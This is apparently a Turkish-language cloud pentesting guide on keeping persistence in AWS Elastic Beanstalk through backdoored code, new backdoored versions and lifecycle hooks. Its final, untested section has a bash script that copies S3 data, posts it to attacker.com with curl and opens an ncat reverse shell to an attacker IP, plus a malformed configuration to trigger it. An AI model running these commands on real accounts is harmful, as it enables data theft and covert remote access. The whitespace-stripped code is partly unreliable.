AWS hesabında kalıcılığı sürdürmek için, bazı kalıcılık mekanizmaları örneğe dahil edilebilir (cron job, ssh key...), böylece saldırgan erişebilir ve IAM rolü kimlik bilgilerini meta veri servisinden çalabilir.
Sürümde Arka Kapı
Bir saldırgan, S3 deposu içindeki kodu arka kapı olarak değiştirebilir, böylece her zaman arka kapı ve beklenen kodu çalıştırır.
Yeni arka kapılı sürüm
Mevcut sürümdeki kodu değiştirmek yerine, saldırgan uygulamanın yeni bir arka kapılı sürümünü dağıtabilir.
Özel Kaynak Yaşam Döngüsü Kanca İstismarı
TODO: Test
Elastic Beanstalk, örneğin oluşturulması ve sonlandırılması sırasında özel komut dosyalarını çalıştırmanıza olanak sağlayan yaşam döngüsü kancaları sağlar. Bir saldırgan, AWS hesabına erişimi sürdürmek veya veri dışa aktarmak için periyodik olarak bir komut dosyası çalıştıran bir yaşam döngüsü kanca yapılandırabilir.
bashCopycode#Attackercreatesascriptthatexfiltratesdataandmaintainsaccessecho'#!/bin/bashaws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csvgzip /tmp/data.csvcurl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfilncat -e /bin/bash --ssl attacker-ip 12345'>stealthy_lifecycle_hook.sh# Attacker uploads the script to an S3 bucketawss3cpstealthy_lifecycle_hook.shs3://attacker-bucket/stealthy_lifecycle_hook.sh# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hookecho'Resources:AWSEBAutoScalingGroup:Metadata:AWS::ElasticBeanstalk::Ext:TriggerConfiguration:triggers:- name: stealthy-lifecycle-hookevents:- "autoscaling:EC2_INSTANCE_LAUNCH"- "autoscaling:EC2_INSTANCE_TERMINATE"target:ref: "AWS::ElasticBeanstalk::Environment"arn:Fn::GetAtt:- "AWS::ElasticBeanstalk::Environment"- "Arn"stealthyLifecycleHook:Type: AWS::AutoScaling::LifecycleHookProperties:AutoScalingGroupName:Ref: AWSEBAutoScalingGroupLifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHINGNotificationTargetARN:Ref: stealthy-lifecycle-hookRoleARN:Fn::GetAtt:- AWSEBAutoScalingGroup- Arn'>stealthy_lifecycle_hook.yaml# Attacker applies the new environment configurationaws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"